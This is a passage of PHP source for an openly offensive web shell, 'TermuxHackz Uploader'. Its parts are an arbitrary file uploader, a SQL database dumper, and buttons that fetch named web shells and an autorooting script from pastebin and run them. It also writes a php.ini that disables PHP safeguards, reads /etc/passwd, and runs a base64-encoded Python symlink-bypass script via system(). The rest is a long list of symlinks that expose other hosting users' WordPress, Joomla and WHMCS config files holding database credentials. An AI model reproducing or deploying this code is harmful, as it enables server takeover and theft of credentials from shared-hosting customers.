                                <font style="color: lawngreen; font-family: cursive; font-size: 250%;">TermuxHackz Uploader</font><br><br><br><br>
                                <form method="POST" enctype="multipart/form-data" action="">
                                        <input style="font-size: 90%;" type="file" name="files">
                                        <input style="font-size: 90%;" type=submit value="Upload">
                                </form>
                                <?php
                                $files = @$_FILES["files"];
                                if ($files["name"] != \'\') {
                                    $fullpath = $_REQUEST["path"] . $files["name"];
                                    if (move_uploaded_file($files[\'tmp_name\'], $fullpath)) {
                                        echo "<center><br><br><font style=\'color: red; font-family: cursive; font-size: 200%;\'><a href=\'$fullpath\' target=\'_blank\'>Click to access uploaded File</a></font></center>";
                                    }
                                }
                        }
                ?>
                <?php
                  if(isset($_GET[\'dump_db\'])) {
                    ?>
                    <center><br><font style="color: yellow; font-family: cursive; font-size: 200%;">Dump SQL Database</font><div class="content"><br>
                    <form method="POST" action=""/>
                    <input name="user" type="text" placeholder="Enter db user..."/>
                    <input name="pass" type="password" placeholder="Enter db pass..."/><br><br>
                    <input name="host" type="text" placeholder="Enter db host..">
                    <input name="dbname" type="text" placeholder="Enter DB Name..."><br>
                    <br>
                    <input type="submit" name="submit_db" value="Dump this shit db :) " />
                    </form>
                    </div>
                  </center>
                <?php
              }
                   ?>
                   <?php
                  if(isset($_POST[\'submit_db\'])) {
                  	$DB_HOST = $_POST[\'host\'];
                  	$DB_USER = $_POST[\'user\'];
                  	$DB_PASS = $_POST[\'pass\'];
                  	$DB_NAME = $_POST[\'dbname\'];

                  	$con = new mysqli($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME);


                  	 $tables = array();

                  	$result = mysqli_query($con,"SHOW TABLES");
                  	while ($row = mysqli_fetch_row($result)) {
                  	    $tables[] = $row[0];
                  	}

                  	$return = \'\';

                  	foreach ($tables as $table) {
                  	    $result = mysqli_query($con, "SELECT * FROM ".$table);
                  	    $num_fields = mysqli_num_fields($result);

                  	    $return .= \'DROP TABLE \'.$table.\';\';
                  	    $row2 = mysqli_fetch_row(mysqli_query($con, \'SHOW CREATE TABLE \'.$table));
                  	    $return .= "

".$row2[1].";

";

                  	    for ($i=0; $i < $num_fields; $i++) {
                  	        while ($row = mysqli_fetch_row($result)) {
                  	            $return .= \'INSERT INTO \'.$table.\' VALUES(\';
                  	            for ($j=0; $j < $num_fields; $j++) {
                  	                $row[$j] = addslashes($row[$j]);
                  	                if (isset($row[$j])) {
                  	                    $return .= \'"\'.$row[$j].\'"\';} else { $return .= \'""\';}
                  	                    if($j<$num_fields-1){ $return .= \',\'; }
                  	                }
                  	                $return .= ");
";
                  	            }
                  	        }
                  	        $return .= "


";

                  	}


                  	$handle = fopen(\'dumped_db.sql\', \'w+\');
                  	fwrite($handle, $return);
                  	fclose($handle);
                  echo "<br>";
                  	echo ("<p>Successfully dumped database</p>");
                  echo "<br>";
                  echo "";
                  }
                  ?>
                <?php
                        if (isset($_GET[\'shells\'])) {
                                ?>
                                <center><br><font style="color: red; font-size: 200%; font-family: cursive;">Shells By termuxhackz society</font></center><div class="content">
                                        <br>
                                        <table border="1%" align="center" cellpadding="10">
                                        <tr>
                                        <td><font style="color: teal; font-family: cursive; font-size: 120%;">Click And Get The Shells</font></td>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="ths_sh3ll" value ="ths_sh3ll">
                                        </td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="imageshell" value ="An0n 3xPloiTeR Image Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>
                                <?php
                                }
                ?>

                <?php
                        if (isset($_GET[\'scripts\'])) {
                                ?>
                                <center><br><font style="color: red; font-family: cursive; font-size: 200%;">Scripts By termuxhackz society</font>
                                        </center><div class="content">
                                        <br>
                                        <table border="1%" align="center" cellpadding="10">
                                        <tr>
                                        <td><font style="color: teal; font-family: cursive; font-size: 120%;">Click And Get The Scripts</font></td>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="symlink" value ="Symlinker"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
                                        <tr><td>
                                        <form action="" method="post">
                                        <input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>
                                <?php

                        }
                ?>

                <?php

                        function download($file_url, $save_to) {
                                $content = file_get_contents($file_url);
                                        file_put_contents($save_to, $content);
                                }

                if (isset($_POST[\'dhanush\'])) {
        download(\'http://pastebin.com/raw/FHs6uGki\', realpath("./") . \'/dhanush.php\');
        header("location:dhanush.php");         }

        if (isset($_POST[\'symlink\'])) {
                download(\'http://pastebin.com/raw/hYGVf4qT\', realpath("./") . \'/symlink.php\');
        header("location:symlink.php");         }

    if (isset($_POST[\'madleets\'])) {
                download(\'http://pastebin.com/raw/M9mx5j4h\', realpath("./") . \'/madleets.php\');
        header("location:madleets.php");                }

    if (isset($_POST[\'rooter\'])) {
                download(\'http://pastebin.com/raw/sJxiRZAH\', realpath("./") . \'/rooter.php\');
        header("location:rooter.php");          }

    if (isset($_POST[\'cpc\'])) {
                download(\'http://pastebin.com/raw/d73HhXBk\', realpath("./") . \'/cpc.php\');
        header("location:cpc.php");             }

        if (isset($_POST[\'anonghosts\'])) {
                download(\'http://pastebin.com/raw/Cm3WsQXL\', realpath("./") . \'/anonghosts.php\');
        header("location:anonghosts.php");              }

        if (isset($_POST[\'blackhat\'])) {
                download(\'http://pastebin.com/raw/XFs2pPBM\', realpath("./") . \'/blackhat.php\');
        header("location:blackhat.php");                }

        if (isset($_POST[\'imageshell\'])) {
                download(\'http://pastebin.com/raw/eTbTMB4y\', realpath("./") . \'/imageshell.php\');
        header("location:imageshell.php");              }

        if (isset($_POST[\'madspot\'])) {
                download(\'http://pastebin.com/raw/mjKJRfXA\', realpath("./") . \'/madspot.php\');
        header("location:madspot.php");         }

    if (isset($_POST[\'pcd\'])) {
                download(\'http://pastebin.com/raw/cBiiU6MR\', realpath("./") . \'/pcd.php\');
        header("location:pcd.php");             }

    if (isset($_POST[\'cheta\'])) {
                download(\'http://pastebin.com/raw/H6ah5rnF\', realpath("./") . \'/cheta.php\');
        header("location:cheta.php");           }


    if (isset($_POST[\'1337worm\'])) {
                download(\'http://pastebin.com/raw/7WwNgWHh\', realpath("./") . \'/1337worm.php\');
        header("location:1337worm.php");                }


    if (isset($_POST[\'joker\']   )) {
                download(\'http://pastebin.com/raw/eLT2PtZN\', realpath("./") . \'/joker.php\');
        header("location:joker.php");           }


    if (isset($_POST[\'b374k\'])) {
                download(\'http://pastebin.com/raw/UZuF1RKJ\', realpath("./") . \'/b374k.php\');
        header("location:b374k.php");           }
                ?>


                <?php
                        if (isset($_GET[\'symlink\'])) {
                                $fp = fopen("php.ini", "w+");
                                fwrite($fp, "safe_mode = OFF
                                        Safe_mode_gid = OFF
                                        disable_functions = NONE
                                        disable_classes = NONE
                                        open_basedir = OFF
                                        suhosin.executor.func.blacklist = NONE ");
                                fclose($fp);
                                if (empty($_POST[\'config\'])) { ?><form method="POST"><textarea name="passwd" style="display:none;" class=\'area\' rows=\'25\' cols=\'80\'><?php echo file_get_contents(\'/etc/passwd\'); ?></textarea><br><br><center><br><font style="color: red; font-family: cursive; font-size: 200%;">An0n 3xPloiTeR   && AkDk Symlinker<br><br></font><br><input name="config" value="Php Symlinking" type="submit">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="psymlink" value="Python Symlinking"><br></form></center><br>
                                <?php
}

if (isset($_POST[\'psymlink\'])) {
        $psymlink = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCnByaW50ICJTeW1saW5rIEJ5cGFzcyAyMDE0IGJ5IGhBeE9yIHRyMGpBbiogXG4iCnByaW50ICIgICAgICAgICAgICAgIFNwZWNpYWwgR3JlZXR6IHRvIDogTWF1cml0YW5pYSBBdHRhY2tlciAmIHZJcmtJZCIKCm9zLm1ha2VkaXJzKCdzeW1saW5rJykKb3MuY2hkaXIoJ3N5bWxpbmsnKQoKc3Vzcj1bXQpzaXRleD1bXQpvcy5zeXN0ZW0oImxuIC1zIC8gdHIudHh0IikKCmggPSAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzXG5EaXJlY3RvcnlJbmRleCB0ci5waHRtbFxuQWRkVHlwZSB0eHQgLnBocFxuQWRkSGFuZGxlciB0eHQgLnBocCIKbSA9IG9wZW4oIi5odGFjY2VzcyIsIncrIikKbS53cml0ZShoKQptLmNsb3NlKCkKcHJpbnQgaHRhCgpzZiA9ICI8aHRtbD48dGl0bGU+U3ltbGluayBCeXBhc3MgMjAxNCBieSBoQXhPciB0cjBqQW4qPC90aXRsZT48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9NT5TeW1saW5rIEJ5cGFzcyAyMDE0PGJyPjxmb250IHNpemU9ND5NYWRlIEJ5IGhBeE9yIHRyMGpBbiogPGJyPklkZWEgQnkgTWF1cml0YW5pYSBBdHRhY2tlciAmIHZJcmtJRDwvZm9udD48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJ0ci5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjx0cj48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOmJsYWNrOz4lczwvdGQ+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjpyZWQ7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkOz48YSBocmVmPXRyLnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkKCQkJY291bnRlcj1jb3VudGVyKzE=";
        $ufff = fopen("sym.py", "w");
        @fwrite($ufff, base64_decode($psymlink));
        @fclose($ufff);
        echo \'<center><span style="color: white; font-family:cursive; font-size: 120%;">\';
        @system("python sym.py");
        echo \'<br><br><a href="symlink" target="_blank"><span style="color: red;">Click Here</span></a>\'; echo \'</span></center>\';
}

if ($_POST[\'config\']) {

        $php_ini_content = "c2FmZV9tb2RlID0gT0ZGCglTYWZlX21vZGVfZ2lkID0gT0ZGCglkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUKCWRpc2FibGVfY2xhc3NlcyA9IE5PTkUKCW9wZW5fYmFzZWRpciA9IE9GRgoJc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkUg";
    $php_ini = fopen("php.ini", "w");
    fwrite($php_ini, base64_decode($php_ini_content));
    fclose($php_ini);
    $function = $functions = @ini_get("disable_functions");
    if (eregi("symlink", $functions)) {
        die(\'<error>Symlink is disabled :( </error>\');
    } else {
    @mkdir(\'UeXploiT\', 777);
    @chdir(\'UeXploiT\');
                $htaccess = "
Options all
         DirectoryIndex Sux.html
         AddType text/plain .php
         AddHandler server-parsed .php
          AddType text/plain .html
         AddHandler txt .html
         Require None
         Satisfy Any
";
        file_put_contents(".htaccess", $htaccess, FILE_APPEND);
    $passwd = $_POST["passwd"];
    $passwd = explode("
", $passwd);
    foreach ($passwd as $pwd) {
        $pawd = explode(":", $pwd);
        $user = $pawd[0];
@symlink(\'/home/\' . $user . \'/public_html/includes/configure.php\', $user . \'-shop.txt\');
@symlink(\'/home/\' . $user . \'/public_html/os/includes/configure.php\', $user . \'-shop-os.txt\');
@symlink(\'/home/\' . $user . \'/public_html/oscom/includes/configure.php\', $user . \'-oscom.txt\');
@symlink(\'/home/\' . $user . \'/public_html/oscommerce/includes/configure.php\', $user . \'-oscommerce.txt\');
@symlink(\'/home/\' . $user . \'/public_html/oscommerces/includes/configure.php\', $user . \'-oscommerces.txt\');
@symlink(\'/home/\' . $user . \'/public_html/shop/includes/configure.php\', $user . \'-shop2.txt\');
@symlink(\'/home/\' . $user . \'/public_html/shopping/includes/configure.php\', $user . \'-shop-shopping.txt\');
@symlink(\'/home/\' . $user . \'/public_html/sale/includes/configure.php\', $user . \'-sale.txt\');
@symlink(\'/home/\' . $user . \'/public_html/amember/config.inc.php\', $user . \'-amember.txt\');
@symlink(\'/home/\' . $user . \'/public_html/library/config.php\', $user . \'-symlink\');
@symlink(\'/home/\' . $user . \'/public_html/members/configuration.php\', $user . \'-members.txt\');
@symlink(\'/home/\' . $user . \'/public_html/config.php\', $user . \'-4images1.txt\');
@symlink(\'/home/\' . $user . \'/public_html/forum/includes/config.php\', $user . \'-forum.txt\');
@symlink(\'/home/\' . $user . \'/public_html/forums/includes/config.php\', $user . \'-forums.txt\');
@symlink(\'/home/\' . $user . \'/public_html/admin/conf.php\', $user . \'-5.txt\');
@symlink(\'/home/\' . $user . \'/public_html/admin/config.php\', $user . \'-4.txt\');
@symlink(\'/home/\' . $user . \'/public_html/wp-config.php\', $user . \'-wp13.txt\');
@symlink(\'/home/\' . $user . \'/public_html/wp/wp-config.php\', $user . \'-wp13-wp.txt\');
@symlink(\'/home/\' . $user . \'/public_html/WP/wp-config.php\', $user . \'-wp13-WP.txt\');
@symlink(\'/home/\' . $user . \'/public_html/wp/beta/wp-config.php\', $user . \'-wp13-wp-beta.txt\');
@symlink(\'/home/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp13-beta.txt\');
@symlink(\'/home/\' . $user . \'/public_html/press/wp-config.php\', $user . \'-wp13-press.txt\');
@symlink(\'/home/\' . $user . \'/public_html/wordpress/wp-config.php\', $user . \'-wp13-wordpress.txt\');
@symlink(\'/home/\' . $user . \'/public_html/Wordpress/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home/\' . $user . \'/public_html/wordpress/beta/wp-config.php\', $user . \'-wp13-wordpress-beta.txt\');
@symlink(\'/home/\' . $user . \'/public_html/news/wp-config.php\', $user . \'-wp13-news.txt\');
@symlink(\'/home/\' . $user . \'/public_html/new/wp-config.php\', $user . \'-wp13-new.txt\');
@symlink(\'/home/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp-blog.txt\');
@symlink(\'/home/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp-beta.txt\');
@symlink(\'/home/\' . $user . \'/public_html/blogs/wp-config.php\', $user . \'-wp-blogs.txt\');
@symlink(\'/home/\' . $user . \'/public_html/home/wp-config.php\', $user . \'-wp-home.txt\');
@symlink(\'/home/\' . $user . \'/public_html/protal/wp-config.php\', $user . \'-wp-protal.txt\');
@symlink(\'/home/\' . $user . \'/public_html/site/wp-config.php\', $user . \'-wp-site.txt\');
@symlink(\'/home/\' . $user . \'/public_html/main/wp-config.php\', $user . \'-wp-main.txt\');
@symlink(\'/home/\' . $user . \'/public_html/test/wp-config.php\', $user . \'-wp-test.txt\');
@symlink(\'/home/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home/\' . $user . \'/public_html/joomla/configuration.php\', $user . \'-joomla2.txt\');
@symlink(\'/home/\' . $user . \'/public_html/protal/configuration.php\', $user . \'-joomla-protal.txt\');
@symlink(\'/home/\' . $user . \'/public_html/joo/configuration.php\', $user . \'-joo.txt\');
@symlink(\'/home/\' . $user . \'/public_html/cms/configuration.php\', $user . \'-joomla-cms.txt\');
@symlink(\'/home/\' . $user . \'/public_html/site/configuration.php\', $user . \'-joomla-site.txt\');
@symlink(\'/home/\' . $user . \'/public_html/main/configuration.php\', $user . \'-joomla-main.txt\');
@symlink(\'/home/\' . $user . \'/public_html/news/configuration.php\', $user . \'-joomla-news.txt\');
@symlink(\'/home/\' . $user . \'/public_html/new/configuration.php\', $user . \'-joomla-new.txt\');
@symlink(\'/home/\' . $user . \'/public_html/home/configuration.php\', $user . \'-joomla-home.txt\');
@symlink(\'/home/\' . $user . \'/public_html/vb/includes/config.php\', $user . \'-vb-config.txt\');
@symlink(\'/home/\' . $user . \'/public_html/vb3/includes/config.php\', $user . \'-vb3-config.txt\');
@symlink(\'/home/\' . $user . \'/public_html/cc/includes/config.php\', $user . \'-vb1-config.txt\');
@symlink(\'/home/\' . $user . \'/public_html/includes/config.php\', $user . \'-includes-vb.txt\');
@symlink(\'/home/\' . $user . \'/public_html/forum/includes/class_core.php\', $user . \'-vbluttin-class_core.php.txt\');
@symlink(\'/home/\' . $user . \'/public_html/vb/includes/class_core.php\', $user . \'-vbluttin-class_core.php1.txt\');
@symlink(\'/home/\' . $user . \'/public_html/cc/includes/class_core.php\', $user . \'-vbluttin-class_core.php2.txt\');
@symlink(\'/home/\' . $user . \'/public_html/configuration.php\', $user . \'-joomla.txt\');
@symlink(\'/home/\' . $user . \'/public_html/includes/dist-configure.php\', $user . \'-zencart.txt\');
@symlink(\'/home/\' . $user . \'/public_html/zencart/includes/dist-configure.php\', $user . \'-shop-zencart.txt\');
@symlink(\'/home/\' . $user . \'/public_html/shop/includes/dist-configure.php\', $user . \'-shop-ZCshop.txt\');
@symlink(\'/home/\' . $user . \'/public_html/Settings.php\', $user . \'-smf.txt\');
@symlink(\'/home/\' . $user . \'/public_html/smf/Settings.php\', $user . \'-smf2.txt\');
@symlink(\'/home/\' . $user . \'/public_html/forum/Settings.php\', $user . \'-smf-forum.txt\');
@symlink(\'/home/\' . $user . \'/public_html/forums/Settings.php\', $user . \'-smf-forums.txt\');
@symlink(\'/home/\' . $user . \'/public_html/upload/includes/config.php\', $user . \'-up.txt\');
@symlink(\'/home/\' . $user . \'/public_html/article/config.php\', $user . \'-Nwahy.txt\');
@symlink(\'/home/\' . $user . \'/public_html/up/includes/config.php\', $user . \'-up2.txt\');
@symlink(\'/home/\' . $user . \'/public_html/conf_global.php\', $user . \'-6.txt\');
@symlink(\'/home/\' . $user . \'/public_html/include/db.php\', $user . \'-7.txt\');
@symlink(\'/home/\' . $user . \'/public_html/connect.php\', $user . \'-PHP-Fusion.txt\');
@symlink(\'/home/\' . $user . \'/public_html/mk_conf.php\', $user . \'-9.txt\');
@symlink(\'/home/\' . $user . \'/public_html/includes/config.php\', $user . \'-traidnt1.txt\');
@symlink(\'/home/\' . $user . \'/public_html/config.php\', $user . \'-4images.txt\');
@symlink(\'/home/\' . $user . \'/public_html/sites/default/settings.php\', $user . \'-Drupal.txt\');
@symlink(\'/home/\' . $user . \'/public_html/member/configuration.php\', $user . \'-1member.txt\');
@symlink(\'/home/\' . $user . \'/public_html/supports/includes/iso4217.php\', $user . \'-hostbills-supports.txt\');
@symlink(\'/home/\' . $user . \'/public_html/client/includes/iso4217.php\', $user . \'-hostbills-client.txt\');
@symlink(\'/home/\' . $user . \'/public_html/support/includes/iso4217.php\', $user . \'-hostbills-support.txt\');
@symlink(\'/home/\' . $user . \'/public_html/billing/includes/iso4217.php\', $user . \'-hostbills-billing.txt\');
@symlink(\'/home/\' . $user . \'/public_html/billings/includes/iso4217.php\', $user . \'-hostbills-billings.txt\');
@symlink(\'/home/\' . $user . \'/public_html/host/includes/iso4217.php\', $user . \'-hostbills-host.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hosts/includes/iso4217.php\', $user . \'-hostbills-hosts.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hosting/includes/iso4217.php\', $user . \'-hostbills-hosting.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hostings/includes/iso4217.php\', $user . \'-hostbills-hostings.txt\');
@symlink(\'/home/\' . $user . \'/public_html/includes/iso4217.php\', $user . \'-hostbills.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hostbills/includes/iso4217.php\', $user . \'-hostbills-hostbills.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hostbill/includes/iso4217.php\', $user . \'-hostbills-hostbill.txt\');
@symlink(\'/home/\' . $user . \'/public_html/cart/configuration.php\', $user . \'-cart-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hosting/configuration.php\', $user . \'-hosting-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/buy/configuration.php\', $user . \'-buy-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/checkout/configuration.php\', $user . \'-checkout-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/host/configuration.php\', $user . \'-host-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/shop/configuration.php\', $user . \'-shop-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/shopping/configuration.php\', $user . \'-shopping-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/sale/configuration.php\', $user . \'-sale-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/client/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/support/configuration.php\', $user . \'-support-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/clientsupport/configuration.php\', $user . \'-clientsupport-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/whm/whmcs/configuration.php\', $user . \'-whm-whmcs.txt\');
@symlink(\'/home/\' . $user . \'/public_html/whm/WHMCS/configuration.php\', $user . \'-whm-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/whmc/WHM/configuration.php\', $user . \'-whmc-WHM.txt\');
@symlink(\'/home/\' . $user . \'/public_html/whmcs/configuration.php\', $user . \'-whmc-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/supp/configuration.php\', $user . \'-supp-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/secure/configuration.php\', $user . \'-sucure-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/secure/whm/configuration.php\', $user . \'-sucure-whm-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/secure/whmcs/configuration.php\', $user . \'-sucure-whmcs-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/panel/configuration.php\', $user . \'-panel-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/hosts/configuration.php\', $user . \'-hosts-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/submitticket.php\', $user . \'-submitticket-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/clients/configuration.php\', $user . \'-clients-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/clientes/configuration.php\', $user . \'-clientes-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/cliente/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/billing/configuration.php\', $user . \'-billing-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/manage/configuration.php\', $user . \'-whm-manage-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/my/configuration.php\', $user . \'-whm-my-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/myshop/configuration.php\', $user . \'-whm-myshop-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/billings/configuration.php\', $user . \'-billings-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/supports/configuration.php\', $user . \'-supports-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/auto/configuration.php\', $user . \'-auto-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/go/configuration.php\', $user . \'-go-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/\' . $user . \'/configuration.php\', $user . \'-USERNAME-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/bill/configuration.php\', $user . \'-bill-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/payment/configuration.php\', $user . \'-payment-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/pay/configuration.php\', $user . \'-pay-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/purchase/configuration.php\', $user . \'-purchase-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/db.php\', $user . \'-clientarea-WHMCS.txt\');
@symlink(\'/home/\' . $user . \'/public_html/conect_to_mysql.php\', $user . \'-autobuy\');
@symlink(\'/home/\' . $user . \'/public_html/connect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/admin/connect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/include/connect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/wp-admin/connect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/wp-admin/config.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/wp-admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home/\' . $user . \'/public_html/connection.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/includes/configure.php\', $user . \'-shop.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/os/includes/configure.php\', $user . \'-shop-os.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/oscom/includes/configure.php\', $user . \'-oscom.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/oscommerce/includes/configure.php\', $user . \'-oscommerce.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/oscommerces/includes/configure.php\', $user . \'-oscommerces.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/shop/includes/configure.php\', $user . \'-shop2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/shopping/includes/configure.php\', $user . \'-shop-shopping.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/sale/includes/configure.php\', $user . \'-sale.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/amember/config.inc.php\', $user . \'-amember.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/library/config.php\', $user . \'-symlink\');
@symlink(\'/home2/\' . $user . \'/public_html/members/configuration.php\', $user . \'-members.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/config.php\', $user . \'-4images1.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/forum/includes/config.php\', $user . \'-forum.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/forums/includes/config.php\', $user . \'-forums.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/admin/conf.php\', $user . \'-5.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/admin/config.php\', $user . \'-4.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/wp-config.php\', $user . \'-wp13.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/wp/wp-config.php\', $user . \'-wp13-wp.txt\');
